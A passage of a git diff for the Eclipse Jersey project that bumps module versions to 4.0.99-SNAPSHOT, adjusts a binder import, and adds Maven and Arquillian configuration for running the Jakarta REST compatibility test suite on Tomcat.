-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-tests</artifactId>
diff --git a/tests/integration/sonar-test/pom.xml b/tests/integration/sonar-test/pom.xml
index 48ccf0a..7623a72 100644
--- a/tests/integration/sonar-test/pom.xml
+++ b/tests/integration/sonar-test/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>sonar-test</artifactId>
diff --git a/tests/integration/spring6/pom.xml b/tests/integration/spring6/pom.xml
index b393d54..1c125ee 100644
--- a/tests/integration/spring6/pom.xml
+++ b/tests/integration/spring6/pom.xml
@@ -25,7 +25,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>spring6</artifactId>
diff --git a/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/MyApplication.java b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/MyApplication.java
index e0f0c99..dd88dda 100644
--- a/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/MyApplication.java
+++ b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/MyApplication.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
 import jakarta.inject.Inject;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.Binder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.PerLookup;
diff --git a/tests/integration/thin-server/pom.xml b/tests/integration/thin-server/pom.xml
index ba12ebd..fc339e6 100644
--- a/tests/integration/thin-server/pom.xml
+++ b/tests/integration/thin-server/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/tracing-support/pom.xml b/tests/integration/tracing-support/pom.xml
index 83e185f..eb33aa5 100644
--- a/tests/integration/tracing-support/pom.xml
+++ b/tests/integration/tracing-support/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>tracing-support</artifactId>
@@ -65,6 +65,20 @@
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-compiler-plugin</artifactId>
+<!--                <configuration>-->
+<!--                    &lt;!&ndash;-->
+<!--                    Since Jetty 11 for some reason is not possibly to properly set responseHeaderSize property-->
+<!--                    which should be jetty.response.header.size with adjusted value 16192. The property however-->
+<!--                    is never recognized by the plugin so resulting in the-->
+<!--                                    org.eclipse.jetty.http.BadMessageException: 500: Response header too large-->
+<!--                    exception. For this reason the test is being excluded.-->
+<!--                      &ndash;&gt;-->
+<!--                    <testExcludes>-->
+<!--                        <testExclude>-->
+<!--                            org/glassfish/jersey/tests/integration/tracing/AllTracingSupportITCase.java-->
+<!--                        </testExclude>-->
+<!--                    </testExcludes>-->
+<!--                </configuration>                -->
             </plugin>
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
@@ -102,34 +116,4 @@
             </plugin>
         </plugins>
     </build>
-    <profiles>
-        <profile>
-            <id>jdk11+</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <!--
-                            Since Jetty 11 for some reason is not possibly to properly set responseHeaderSize property
-                            which should be jetty.response.header.size with adjusted value 16192. The property however
-                            is never recognized by the plugin so resulting in the
-                                            org.eclipse.jetty.http.BadMessageException: 500: Response header too large
-                            exception. For this reason the test is being excluded.
-                              -->
-                            <testExcludes>
-                                <testExclude>
-                                    org/glassfish/jersey/tests/integration/tracing/AllTracingSupportITCase.java
-                                </testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
 </project>
diff --git a/tests/jersey-tck/arquillian.xml b/tests/jersey-tck/arquillian.xml
new file mode 100644
index 0000000..1db2f9c
--- /dev/null
+++ b/tests/jersey-tck/arquillian.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0"?>
+<!--
+
+    Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+<arquillian xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns="http://jboss.org/schema/arquillian"
+            xsi:schemaLocation="http://jboss.org/schema/arquillian
+    http://jboss.org/schema/arquillian/arquillian_1_0.xsd">
+
+    <container qualifier="tomcat" default="true">
+        <configuration>
+            <property name="user">j2ee</property>
+            <property name="pass">j2ee</property>
+            <property name="debug">true</property>
+        </configuration>
+    </container>
+
+</arquillian>
\ No newline at end of file
diff --git a/tests/jersey-tck/pom.tomcat.xml b/tests/jersey-tck/pom.tomcat.xml
new file mode 100644
index 0000000..a6e71a9
--- /dev/null
+++ b/tests/jersey-tck/pom.tomcat.xml
@@ -0,0 +1,709 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!--
+
+    Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+
+    <groupId>org.glassfish.jersey.core</groupId>
+    <artifactId>jersey-tck</artifactId>
+    <version>4.0.0</version>
+    <packaging>jar</packaging>
+
+    <name>Jakarta RESTful WS Compliance for Jersey</name>
+    <description>This test verifies the compliance of Eclipse Jersey with Jakarta REST</description>
+
+    <properties>
+        <maven.compiler.source>11</maven.compiler.source>
+        <maven.compiler.target>11</maven.compiler.target>
+        <jersey.version>4.0.99-SNAPSHOT</jersey.version> <!-- the public version that pass the tck -->
+        <tomcat.container.version>11.0.0-M18</tomcat.container.version>
+        <tomcat.home>${project.build.directory}/apache-tomcat-${tomcat.container.version}</tomcat.home>
+        <tomcat.modules>${tomcat.home}/lib</tomcat.modules>
+        <jakarta.platform.version>10.0.0</jakarta.platform.version>
+        <junit.jupiter.version>5.7.2</junit.jupiter.version>
+        <jakarta.rest.version>4.0.0</jakarta.rest.version>
+        <tck.artifactId>jakarta-restful-ws-tck</tck.artifactId>
+        <tck.version>4.0.0</tck.version>
+        <hk2.version>4.0.0-M1</hk2.version>
+        <mimepull.version>1.9.15</mimepull.version>
+    </properties>
+
+    <dependencyManagement>
+        <dependencies>
+            <dependency>
+                <groupId>org.junit</groupId>
+                <artifactId>junit-bom</artifactId>
+                <version>${junit.jupiter.version}</version>
+                <type>pom</type>
+                <scope>import</scope>
+            </dependency>
+            <dependency>
+                <groupId>org.glassfish.jersey</groupId>
+                <artifactId>jersey-bom</artifactId>
+                <version>${jersey.version}</version>
+                <type>pom</type>
+                <scope>import</scope>
+            </dependency>
+        </dependencies>
+    </dependencyManagement>
+
+    <repositories>
+        <repository>
+            <id>jakarta-snapshots</id>
+            <url>https://jakarta.oss.sonatype.org/content/repositories/staging/</url>
+        </repository>
+    </repositories>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.junit.jupiter</groupId>
+            <artifactId>junit-jupiter</artifactId>
+            <version>${junit.jupiter.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.apache.tomcat.embed</groupId>
+            <artifactId>tomcat-embed-core</artifactId>
+            <version>${tomcat.container.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.apache.tomcat</groupId>
+            <artifactId>tomcat-jasper</artifactId>
+            <version>${tomcat.container.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.jboss.arquillian.container</groupId>
+            <artifactId>arquillian-tomcat-managed-10</artifactId>
+            <version>1.2.1-SNAPSHOT</version>
+        </dependency>
+
+        <dependency>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-impl</artifactId>
+            <version>3.0.0</version>
+            <scope>runtime</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>jakarta.ws.rs</groupId>
+            <artifactId>${tck.artifactId}</artifactId>
+            <version>${tck.version}</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>jakarta.ws.rs</groupId>
+            <artifactId>jakarta.ws.rs-api</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.hamcrest</groupId>
+            <artifactId>hamcrest</artifactId>
+            <version>2.2</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.jboss.arquillian.junit5</groupId>
+            <artifactId>arquillian-junit5-container</artifactId>
+            <version>1.7.0.Alpha10</version>
+        </dependency>
+
+        <dependency>
+            <groupId>jakarta.platform</groupId>
+            <artifactId>jakarta.jakartaee-api</artifactId>
+            <version>${jakarta.platform.version}</version>
+            <scope>provided</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>commons-httpclient</groupId>
+            <artifactId>commons-httpclient</artifactId>
+            <version>3.1</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.core</groupId>
+            <artifactId>jersey-server</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-grizzly2-http</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-json-binding</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-jaxb</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+       <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-sse</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-multipart</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.inject</groupId>
+            <artifactId>jersey-hk2</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.apache.tomcat</groupId>
+            <artifactId>tomcat-catalina</artifactId>
+            <version>${tomcat.container.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-osgi</artifactId>
+            <version>4.0.0</version>
+        </dependency>
+
+        <dependency>
+            <groupId>jakarta.json</groupId>
+            <artifactId>jakarta.json-api</artifactId>
+            <version>2.1.3</version>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.parsson</groupId>
+            <artifactId>parsson</artifactId>
+            <version>1.1.5</version>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.parsson</groupId>
+            <artifactId>parsson-media</artifactId>
+            <version>1.1.5</version>
+        </dependency>
+
+        <dependency>
+            <groupId>jakarta.json.bind</groupId>
+            <artifactId>jakarta.json.bind-api</artifactId>
+            <version>3.0.0</version>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse</groupId>
+            <artifactId>yasson</artifactId>
+            <version>3.0.3</version>
+        </dependency>
+
+        <dependency>
+            <groupId>jakarta.inject</groupId>
+            <artifactId>jakarta.inject-api</artifactId>
+            <version>2.0.1</version>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.hk2</groupId>
+            <artifactId>hk2-api</artifactId>
+            <version>${hk2.version}</version>
+            <exclusions>
+                <exclusion>
+                    <groupId>jakarta.inject</groupId>
+                    <artifactId>jakarta.inject-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.hk2</groupId>
+            <artifactId>hk2-locator</artifactId>
+            <version>${hk2.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.hk2</groupId>
+            <artifactId>hk2-utils</artifactId>
+            <version>${hk2.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.jvnet.mimepull</groupId>
+            <artifactId>mimepull</artifactId>
+            <version>${mimepull.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>jakarta.tck</groupId>
+            <artifactId>sigtest-maven-plugin</artifactId>
+            <version>2.2</version>
+        </dependency>
+        <dependency>
+            <groupId>org.netbeans.tools</groupId>
+            <artifactId>sigtest-maven-plugin</artifactId>
+            <version>1.7</version>
+        </dependency>
+
+    </dependencies>
+
+
+    <build>	    
+    <plugins>
+        <plugin>
+            <groupId>org.apache.maven.plugins</groupId>
+            <artifactId>maven-dependency-plugin</artifactId>
+            <version>3.2.0</version>
+            <executions>
+                <execution>
+                    <id>unpack</id>
+                    <phase>pre-integration-test</phase>
+                    <goals>
+                        <goal>unpack</goal>
+                    </goals>
+                    <configuration>
+                        <artifactItems>
+                            <artifactItem>
+                                <groupId>org.apache.tomcat</groupId>
+                                <artifactId>tomcat</artifactId>
+                                <version>${tomcat.container.version}</version>
+                                <type>zip</type>
+                                <overWrite>false</overWrite>
+                                <outputDirectory>${project.build.directory}</outputDirectory>
+                            </artifactItem>
+                        </artifactItems>
+                    </configuration>
+                </execution>
+                <execution>
+                    <id>copy</id>
+                    <phase>pre-integration-test</phase>
+                    <goals>
+                        <goal>copy</goal>
+                    </goals>
+                    <configuration>
+                        <artifactItems>
+                            <artifactItem>
+                                <groupId>jakarta.inject</groupId>
+                                <artifactId>jakarta.inject-api</artifactId>
+                                <version>2.0.1</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jakarta.inject-api.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>jakarta.json</groupId>
+                                <artifactId>jakarta.json-api</artifactId>
+                                <version>2.1.3</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jakarta.json-api.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>jakarta.xml.bind</groupId>
+                                <artifactId>jakarta.xml.bind-api</artifactId>
+                                <version>3.0.0</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jakarta.xml.bind-api.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>jakarta.activation</groupId>
+                                <artifactId>jakarta.activation-api</artifactId>
+                                <version>2.1.3</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jakarta.activation-api.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>jakarta.json.bind</groupId>
+                                <artifactId>jakarta.json.bind-api</artifactId>
+                                <version>3.0.0</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jakarta.json.bind-api.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>jakarta.validation</groupId>
+                                <artifactId>jakarta.validation-api</artifactId>
+                                <version>3.1.0-M1</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jakarta.validation-api.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>com.sun.xml.bind</groupId>
+                                <artifactId>jaxb-osgi</artifactId>
+                                <version>3.0.0</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jaxb-osgi.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.eclipse.parsson</groupId>
+                                <artifactId>parsson</artifactId>
+                                <version>1.1.5</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>parsson.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.eclipse.parsson</groupId>
+                                <artifactId>parsson-media</artifactId>
+                                <version>1.1.5</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>parsson-media.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.eclipse</groupId>
+                                <artifactId>yasson</artifactId>
+                                <version>3.0.3</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>yasson.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.jvnet.mimepull</groupId>
+                                <artifactId>mimepull</artifactId>
+                                <version>${mimepull.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>mimepull.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.javassist</groupId>
+                                <artifactId>javassist</artifactId>
+                                <version>3.29.2-GA</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>javassist.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.hk2</groupId>
+                                <artifactId>hk2-api</artifactId>
+                                <version>${hk2.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>hk2-api.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.hk2</groupId>
+                                <artifactId>hk2-utils</artifactId>
+                                <version>${hk2.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>hk2-utils.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.hk2</groupId>
+                                <artifactId>hk2-locator</artifactId>
+                                <version>${hk2.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>hk2-locator.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.core</groupId>
+                                <artifactId>jersey-client</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-client.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.core</groupId>
+                                <artifactId>jersey-server</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-server.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.core</groupId>
+                                <artifactId>jersey-common</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-common.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.containers</groupId>
+                                <artifactId>jersey-container-grizzly2-http</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-container-grizzly2-http.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.containers</groupId>
+                                <artifactId>jersey-container-grizzly2-servlet</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-container-grizzly2-servlet.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.containers</groupId>
+                                <artifactId>jersey-container-servlet-core</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-container-servlet-core.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.containers</groupId>
+                                <artifactId>jersey-container-servlet</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-container-servlet.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.media</groupId>
+                                <artifactId>jersey-media-sse</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-media-sse.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.media</groupId>
+                                <artifactId>jersey-media-json-binding</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-media-json-binding.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.media</groupId>
+                                <artifactId>jersey-media-multipart</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-media-multipart.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.media</groupId>
+                                <artifactId>jersey-media-json-processing</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-media-json-processing.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.media</groupId>
+                                <artifactId>jersey-media-jaxb</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-media-jaxb.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.inject</groupId>
+                                <artifactId>jersey-hk2</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-hk2.jar</destFileName>
+                            </artifactItem>
+
+<!--                            <artifactItem>-->
+<!--                                <groupId>org.glassfish.jersey.ext.cdi</groupId>-->
+<!--                                <artifactId>jersey-cdi1x</artifactId>-->
+<!--                                <version>${jersey.version}</version>-->
+<!--                                <type>jar</type>-->
+<!--                                <overWrite>true</overWrite>-->
+<!--                                <outputDirectory>${tomcat.modules}</outputDirectory>-->
+<!--                                <destFileName>jersey-cdi1x.jar</destFileName>-->
+<!--                            </artifactItem>-->
+<!--                            <artifactItem>-->
+<!--                                <groupId>org.glassfish.jersey.ext.cdi</groupId>-->
+<!--                                <artifactId>jersey-cdi1x-servlet</artifactId>-->
+<!--                                <version>${jersey.version}</version>-->
+<!--                                <type>jar</type>-->
+<!--                                <overWrite>true</overWrite>-->
+<!--                                <outputDirectory>${tomcat.modules}</outputDirectory>-->
+<!--                                <destFileName>jersey-cdi1x-servlet.jar</destFileName>-->
+<!--                            </artifactItem>-->
+<!--                            <artifactItem>-->
+<!--                                <groupId>org.glassfish.jersey.ext.cdi</groupId>-->
+<!--                                <artifactId>jersey-cdi1x-transaction</artifactId>-->
+<!--                                <version>${jersey.version}</version>-->
+<!--                                <type>jar</type>-->
+<!--                                <overWrite>true</overWrite>-->
+<!--                                <outputDirectory>${tomcat.modules}</outputDirectory>-->
+<!--                                <destFileName>jersey-cdi1x-transaction.jar</destFileName>-->
+<!--                            </artifactItem>-->
+<!--                            <artifactItem>-->
+<!--                                <groupId>org.glassfish.jersey.ext</groupId>-->
+<!--                                <artifactId>jersey-bean-validation</artifactId>-->
+<!--                                <version>${jersey.version}</version>-->
+<!--                                <type>jar</type>-->
+<!--                                <overWrite>true</overWrite>-->
+<!--                                <outputDirectory>${tomcat.modules}</outputDirectory>-->
+<!--                                <destFileName>jersey-bean-validation.jar</destFileName>-->
+<!--                            </artifactItem>-->
+                            <artifactItem>
+                                <groupId>jakarta.ws.rs</groupId>
+                                <artifactId>jakarta.ws.rs-api</artifactId>
+                                <version>${jakarta.rest.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jakarta.ws.rs-api.jar</destFileName>
+                            </artifactItem>
+
+                            <artifactItem>
+                                <groupId>org.apache.tomcat</groupId>
+                                <artifactId>tomcat-jasper</artifactId>
+                                <version>${tomcat.container.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jasper.jar</destFileName>
+                            </artifactItem>
+                        </artifactItems>
+                    </configuration>
+                </execution>
+            </executions>
+        </plugin>
+        <plugin>
+            <artifactId>maven-antrun-plugin</artifactId>
+            <version>3.0.0</version>
+            <executions>
+                <execution>
+                    <id>override-users</id>
+                    <phase>pre-integration-test</phase>
+                    <configuration>
+                        <target>
+                            <copy todir="${basedir}/target/apache-tomcat-${tomcat.container.version}/conf" overwrite="true">
+                                <fileset dir="${basedir}" includes="tomcat-users.xml"/>
+                            </copy>
+                            <copy todir="${basedir}/target/apache-tomcat-${tomcat.container.version}/conf" overwrite="true">
+                                <fileset dir="${basedir}" includes="server.xml"/>
+                            </copy>
+                        </target>
+                    </configuration>
+                    <goals>
+                        <goal>run</goal>
+                    </goals>
+                </execution>
+            </executions>
+        </plugin>
+            <plugin>
+                <artifactId>maven-failsafe-plugin</artifactId>
+                <version>3.0.0-M5</version>
+                <executions>
+                    <execution>
+                        <id>container-tests</id>
+                        <goals>
+                            <goal>integration-test</goal>
+                            <goal>verify</goal>
+                        </goals>
+                        <configuration>
+                            <excludes>
+                                <exclude>**/SeBootstrapIT.java</exclude>
+                            </excludes>
+<!--                            <includes>-->
+<!--                                <include>**/JAXRSSigTestIT.java</include>-->
+<!--&lt;!&ndash;                                <include>ee.jakarta.tck.ws.rs.spec.client.exceptions.ClientExceptionsIT.java</include>&ndash;&gt;-->
+<!--                            </includes>-->
+                            <skipTests>false</skipTests> <!-- Do not skip when the jersey-tck profile is on -->
+                            <dependenciesToScan>jakarta.ws.rs:${tck.artifactId}</dependenciesToScan>
+                            <systemPropertyVariables>
+                                <servlet_adaptor>org.glassfish.jersey.servlet.ServletContainer</servlet_adaptor>
+                                <webServerHost>localhost</webServerHost>
+                                <webServerPort>8080</webServerPort>
+                                <junit.log.traceflag>true</junit.log.traceflag>
+                                <user>j2ee</user>
+                                <password>j2ee</password>
+                                <authuser>javajoe</authuser>
+                                <authpassword>javajoe</authpassword>
+                                <porting.ts.url.class.1>ee.jakarta.tck.ws.rs.lib.implementation.sun.common.SunRIURL</porting.ts.url.class.1>
+                                <jimage.dir>${project.build.directory}/jdk11-bundle</jimage.dir>
+                                <optional.tech.packages.to.ignore>jakarta.xml.bind</optional.tech.packages.to.ignore>
